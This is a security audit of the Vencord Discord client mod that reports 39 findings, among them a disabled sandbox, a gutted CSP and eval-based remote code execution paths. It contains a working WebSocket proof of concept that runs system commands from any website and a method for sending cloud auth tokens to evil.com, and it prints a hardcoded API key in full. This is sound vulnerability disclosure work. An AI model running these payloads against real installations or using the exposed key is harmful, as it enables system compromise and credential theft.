vencord — 5 critical RCE paths, sandbox disabled, CSP gutted, 39 findings across the Discord client mod that mass-roots its users by design
Vencord is a Discord client mod used by a substantial chunk of the power-user Discord community. It patches Discord’s Electron app at runtime, injects ~130 plugins, weakens the Content Security Policy, disables the Chromium sandbox, and exposes a full IPC bridge to the renderer. I audited the entire source tree — src/, browser/, scripts/, patches/, every plugin, every IPC handler, every API surface.
The short version: Vencord’s architecture means that any code execution in the renderer is full system compromise. And there are five distinct paths to code execution in the renderer, three of which require zero user interaction. The whole thing is a case study in what happens when a modding community optimizes entirely for developer convenience and accidentally builds a platform that roots its own users.
39 findings total. 5 critical, 10 high, 14 medium, 10 low.
the architecture — why everything chains to RCE
Understanding why Vencord’s bugs are so severe requires understanding four architectural decisions:
1. Chromium sandbox is force-disabled. At patcher.ts:74:
options.webPreferences.sandbox = false;
Every Discord BrowserWindow with a preload script gets sandbox: false. This is required for the preload to use require(), but it means any renderer compromise — V8 bug, use-after-free, XSS, whatever — immediately has full Node.js/OS access. No sandbox escape needed.
2. CSP is weakened with unsafe-eval and unsafe-inline. At csp/index.ts:106-110:
pushDirective("style-src", "'unsafe-inline'");
pushDirective("script-src", "'unsafe-inline'", "'unsafe-eval'");
Plus blob:, data:, vencord:, and vesktop: across every directive. Plus cdn.jsdelivr.net and cdnjs.cloudflare.com in script-src. CSP is effectively nullified — any HTML injection becomes script execution.
3. Every plugin’s native methods are exposed to the renderer. The IPC registration at ipcPlugins.ts:27-42 uses predictable channel names (VencordPluginNative_<plugin>_<method>) and the complete map is accessible via window.VencordNative.pluginHelpers. Any code in the renderer can call any plugin’s native methods.
4. The webpack patching system is built on eval(). At patchWebpack.ts:600:
patchedFactory = (0, eval)(patchedSource);
Every plugin registers patches as string replacements. The replaced module source is eval()’d. This is by design — it’s how the entire mod system works — but it means any plugin (including user-installed ones from src/userplugins/) has a universal code execution primitive.
These four decisions compound. Finding #1 alone would be a risk. Together they mean: XSS → eval → renderer RCE → system RCE, with no meaningful security boundary at any step.
cross-origin WebSocket RCE — any website → system compromise
The DevCompanion plugin opens a WebSocket server on ws://127.0.0.1:8485 and listens for JSON messages. Messages with type: "function" nodes get eval()’d:
function parseNode(node: Node) {
switch (node.type) {
case "string":
return node.value;
case "regex":
return new RegExp(node.value.pattern, node.value.flags);
case "function":
// We LOVE remote code execution
// Safety: This comes from localhost only...
return (0, eval)(node.value);
The developers acknowledge the risk with “We LOVE remote code execution” and justify it by claiming localhost-only access. But WebSocket connections bypass the same-origin policy. Any webpage in any browser on the system can connect to ws://127.0.0.1:8485. There’s no Origin header validation.
From any website:
const ws = new WebSocket("ws://127.0.0.1:8485");
ws.onopen = () => {
ws.send(JSON.stringify({
nonce: 1,
type: "testFind",
data: {
type: "find",
args: [{
type: "function",
value: "require('child_process').exec('calc.exe')"
}]
}
}));
};
Full RCE. Zero interaction. The plugin is marked as dev-only (.dev suffix on the directory), so impact depends on whether the build system properly excludes it from production builds. But if even a fraction of Vencord users run dev builds — and in a modding community, many do — this is mass-exploitable.
one-click RCE via support channel messages
SupportHelper is a core plugin (required: true, line 141) that cannot be disabled. It scans messages in the Vencord support category for JavaScript code blocks authored by VENBOT_USER_ID:
const CodeBlockRe = /```js\n(.+?)```/s;
const AsyncFunction = async function () { }.constructor;
if (props.message.author.id === VENBOT_USER_ID) {
const match = CodeBlockRe.exec(
props.message.content || props.message.embeds[0]?.rawDescription || ""
);
if (match) {
buttons.push(
<Button key="vc-run-snippet" onClick={async () => {
try {
await AsyncFunction(match[1])();
showToast("Success!", Toasts.Type.SUCCESS);
When it finds a JS code block from VenBot, it renders a “Run Snippet” button. Clicking it runs AsyncFunction(code)() — equivalent to eval() with await support. No code signing, no integrity check, no sandboxing.
The authorization check is props.message.author.id === VENBOT_USER_ID. If the VenBot Discord account is compromised — token theft, account takeover — the attacker posts malicious JS to the support channel. Every Vencord user who clicks “Run Snippet” gets RCE’d. It also checks embeds[0]?.rawDescription, expanding the surface to embed content.
Since SupportHelper is required: true, this affects every single Vencord installation. The button appears in the entire support category and any additional allowed channels.
remote eval in oneko plugin
The oneko plugin (cute cat that follows your cursor) fetches and eval()s JavaScript from GitHub:
start() {
fetch("https://raw.githubusercontent.com/adryd325/oneko.js/c4ee66353b11a44e4a5b7e914a81f8d33111555e/oneko.js")
.then(x => x.text())
.then(s => s.replace("./oneko.gif", "https://raw.githubusercontent.com/...").replace("(isReducedMotion)", "(false)"))
.then(eval);
},
Pinned to a commit hash, but no Subresource Integrity check. A MITM (corporate proxy, compromised CA, DNS hijack) replaces the content at that URL and the eval() executes it with full renderer privileges. Combined with sandbox disabled: system compromise.
The plugin is opt-in, but it’s the kind of thing users casually enable — “oh cute, a cat” — with no awareness that it creates a remote code execution surface.
browser extension — complete security boundary removal
The browser extension version compounds everything. At manifest.json:
{
"run_at": "document_start",
"matches": ["*://*.discord.com/*"],
"js": ["dist/Vencord.js"],
"all_frames": true,
"world": "MAIN"
}
world: "MAIN" means Vencord.js runs in the page’s main world — window.VencordNative is accessible to any script on the page. Then it strips CSP entirely:
{
"action": {
"type": "modifyHeaders",
"responseHeaders": [
{ "header": "content-security-policy", "operation": "remove" },
{ "header": "content-security-policy-report-only", "operation": "remove" }
]
}
}
Plus openExternal has no protocol filtering (unlike desktop which checks against ALLOWED_PROTOCOLS):
openExternal: async (url) => void open(url, "_blank"),
And all settings live in localStorage, readable by any script on the page.
Any XSS on discord.com in the browser extension version gives you: read all settings, modify all settings, inject CSS, open arbitrary URLs including javascript: and data: protocols. Discord’s own CSP — designed to prevent exactly this — is completely stripped.
cloud credential theft via configurable sync URL
The cloud sync URL is user-configurable. All cloud API calls send an Authorization header to whatever URL is configured:
const res = await fetch(new URL("/v1/settings", getCloudUrl()), {
method: "PUT",
headers: {
Authorization: await getCloudAuth(), // base64(secret:userId)
"Content-Type": "application/octet-stream"
},
body: deflateSync(new TextEncoder().encode(settings))
});
Set Settings.cloud.url to https://evil.com — via settings import, XSS + VencordNative.settings.set(), or direct file modification — and all subsequent cloud syncs send the auth token and full settings payload to the attacker. The OAuth flow is similarly hijackable: clientId and redirectUri are fetched from the cloud URL, so a malicious URL can redirect the OAuth authorization code.
On the web version (IS_WEB), the CSP check for the cloud URL is bypassed entirely with return true.
the supply chain surface
Multiple plugins fetch and execute content from third-party sources with varying levels of integrity verification:
| Plugin | Source | Integrity | Risk |
|---|---|---|---|
| oneko | raw.githubusercontent.com (commit-pinned) | No SRI | MITM → eval |
| ClearURLs | raw.githubusercontent.com/ClearURLs/Rules/master/ | Unpinned master branch | Repo compromise → ReDoS, URL manipulation |
| Shiki worker | cdn.jsdelivr.net/@vap/shiki-worker@0.0.8 | No SRI | CDN compromise → code execution |
| Shiki WASM | cdn.jsdelivr.net/@vap/shiki@0.10.3/dist/onig.wasm | No SRI | CDN compromise → code execution |
| ReviewDB | manti.vendicated.dev/api/reviewdb | None | Server compromise → phishing, notification injection |
| USRBG | usrbg.is-hardly.online/users | None | Server compromise → CSS injection, tracking |
| Decor | decor.fieryflames.dev/api | None | Server compromise → URL injection |
The ClearURLs case is notable: it fetches regex patterns from an unpinned master branch and compiles them with new RegExp(). A compromised ClearURLs repo can push catastrophic backtracking patterns that freeze every URL-containing message in the client.
the remaining 24 findings in brief
High severity:
- CSS injection via unsanitized theme links in
@import url("...")interpolation — social-engineer a theme link, steal tokens via CSS attribute selectors - Remote regex injection via ClearURLs — unpinned master branch, no regex validation, ReDoS
- Phishing via
Parser.parse()on Google Translate/DeepL output — crafted foreign-language messages translate into rendered phishing links - Phishing via
Parser.parse()on ReviewDB notification content — compromised ReviewDB server → mass phishing alerts dangerouslySetInnerHTMLin ShikiCodeblocks — only instance in all plugins, depends on highlight.js encoding safety- Unsandboxed message interception API — any plugin silently reads/modifies/cancels all outgoing messages
postMessagehandler without origin validation in browser extension — race to injectEXTENSION_BASE_URL
Medium severity:
- SSRF via unbounded redirect following in openInApp —
spotify.linkors.teamshortlink → 302 chain to internal services - Arbitrary settings injection from renderer — no schema validation, enable/disable any plugin, redirect cloud URL
- HTTP updater downloads without integrity verification — compromised GitHub release = persistent RCE
- Zip path traversal in extension extraction —
../in entry names, noensureSafePath()check - UDP injection to localhost via XSOverlay — renderer sends arbitrary JSON datagrams to 127.0.0.1:42069
- Flux dispatch injection via arRPC WebSocket — spread operator copies all JSON properties into Flux dispatch, any webpage can connect
- Full plugin IPC map exposed to renderer — predictable channel names, no per-method authorization
- USRBG CSS injection via API-controlled URL components
- ReviewDB review comments rendered as Discord markdown — any user writes phishing links in profile reviews
- ReviewDB badge URLs from untrusted API — tracking pixels, phishing links
- Cloud OAuth flow hijack via configurable clientId/redirectUri
- Fake system messages via
sendBotMessage— UI spoofing for social engineering - Decor returns arbitrary asset URLs for
RAW_SKU_ID - Themes.ts
postMessagehandler without origin check
Low severity:
shell.openExternalallowssteam://protocol abuse (argument injection)- Monaco editor window with
sandbox:falseondata:URL - Template literal in
executeJavaScript(fixSpotifyEmbeds — not exploitable,/ 100coerces to NaN) - Voice messages file read-then-delete TOCTOU (theoretical, requires symlink in userData matching specific regex)
- External JS/WASM loaded without SRI from jsdelivr
- Hardcoded Google Translate API key (
AIzaSyDLEeFI5OtFBwYBIoK_jj5m32rZK5CkCXA) - Non-atomic settings file write (crash during write resets all settings)
- ConsoleShortcuts exposes Webpack internals, stores, settings on
window - Multiple plugins fetch from unpinned external URLs
Function.prototype.msetter on global scope (invasive but necessary)
the compound picture
The findings chain. That’s what makes this audit interesting — not any single bug, but how they compound:
Any website
→ WebSocket to 127.0.0.1:8485 (DevCompanion)
→ eval() in renderer
→ sandbox disabled
→ full system access
XSS on discord.com (browser extension)
→ CSP completely stripped
→ window.VencordNative accessible (MAIN world)
→ settings in localStorage
→ modify cloud URL → steal auth token
→ enable plugins → chain to native method IPC
→ open arbitrary URLs (no protocol filter)
VenBot account compromise
→ post JS code block to support channel
→ SupportHelper renders "Run Snippet" button (required: true)
→ one click → AsyncFunction(code)()
→ renderer RCE → system RCE
Settings manipulation (via import, XSS, file access)
→ cloud.url → https://evil.com
→ next cloud sync sends auth header + full settings
→ or: enable malicious plugin → webpack patch → eval → RCE
Every security boundary that would normally contain these bugs — CSP, sandbox, origin checks, input validation — has been deliberately removed or weakened to make the mod system work. The result is a platform where the security posture is worse than running a vanilla Electron app with no modifications at all.